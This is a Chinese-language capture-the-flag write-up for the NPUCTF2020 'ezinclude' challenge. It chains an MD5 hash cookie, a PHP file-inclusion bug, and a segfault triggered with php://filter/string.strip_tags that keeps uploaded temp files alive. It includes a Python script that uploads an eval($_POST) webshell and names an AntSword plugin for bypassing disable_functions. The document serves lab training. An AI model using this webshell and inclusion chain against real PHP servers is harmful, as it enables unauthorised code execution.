BUUOJ-[NPUCTF2020]ezinclude 1
涉及的知識點
- 文件上傳時的臨時文件
- php7 文件上傳時
Segment Fault,上傳的臨時文件不會被刪除 - 繞過
disable_functions
解題過程
0 信息收集
沒啥能下手的,掃個目錄,存在index.php、dir.php、404.html
1 index.php
訪問題目,返回如下內容

Set-Cookie中的Hash就是$md5($secret.$name)(經典腦洞)- 如果
$name='',則有$md5($secret.$name)===$md5($secret)===上面的Hash - 則
/?pass=上面的Hash即可,或者帶上&name=傳遞空值
提示跳轉到flflflflag.php

2 flflflflag.php
訪問flflflflag.php,提示有文件包含

php為協議讀源碼/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php(去掉了html部分)
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
可以看到過濾了data,input,zip協議
通過http協議測試,發現並沒有返回內容,說明allow_url_include=Off
那么,data://,php://input都是不可用的(可以參考偽協議可用條件)
可以用unicode編碼繞過
preg_match(preg_match執行后,會自動轉義unicode&#十進制ascii;)

這里需要用到一個特性,在上傳文件時,如果出現Segment Fault,那么上傳的臨時文件不會被刪除。這里的上傳文件需要說明一下,一般認為,上傳文件需要對應的功能點,但實際上,無論是否有文件上傳的功能點,只要HTTP請求中存在文件,那么就會被保存為臨時文件,當前HTTP請求處理完成后,垃圾回收機制會自動刪除臨時文件。
使php陷入死循環直,產生Segment Fault的方法:(具體原理未找到,如果有大佬清楚,請告知,感謝。)
- 使用
php://filter/string.strip_tags/resource=文件- 版本要求:
php7.0.0-7.1.2php7.1.3-7.2.1php7.2.2-7.2.8
- 版本要求:
- 使用
php://filter/convert.quoted-printable-encode/resource=文件- 版本要求:
php<=5.6.38php7.0.0-7.0.32php7.0.4-7.2.12
- 函數要求
filefile_get_contentsreadfile
- 版本要求:
這里只能使用string.strip_tags,可以通過以下腳本上傳文件
import requests
from io import BytesIO
payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)
關於臨時文件,可以簡單說幾句
- 存儲路徑,由
php.ini中的upload_tmp_dir指定,- linux下默認值
/tmp/ - windwos下默認值
C:/WindwosorC:/Windwos/Temp/
- linux下默認值
- 命名規則
- linux下,
php+6個隨機字符 - windows下,
php+4個隨機字符.tmp
- linux下,
- 生命周期
- 開始處理帶有文件的
POST請求 - 保存臨時文件,並寫入數據
- 執行
php腳本 - 刪除臨時文件
- 開始處理帶有文件的
3 dir.php
訪問/dir.php找到臨時文件名,並通過/flflflflag.php?file=/tmp/臨時文件名進行代碼執行

flag在phpinfo()中
本着拿shell的心態,可以繞過disable_funcitons
4 繞過disable_funcitons
用蟻劍連接會發現返回ret=127,含義為無法執行命令,可以手動(參考CTFHub->技能樹->Web進階->PHP disable_functions)或者使用蟻劍的插件進行繞過

使用PHP7_GC_UAF模式即可

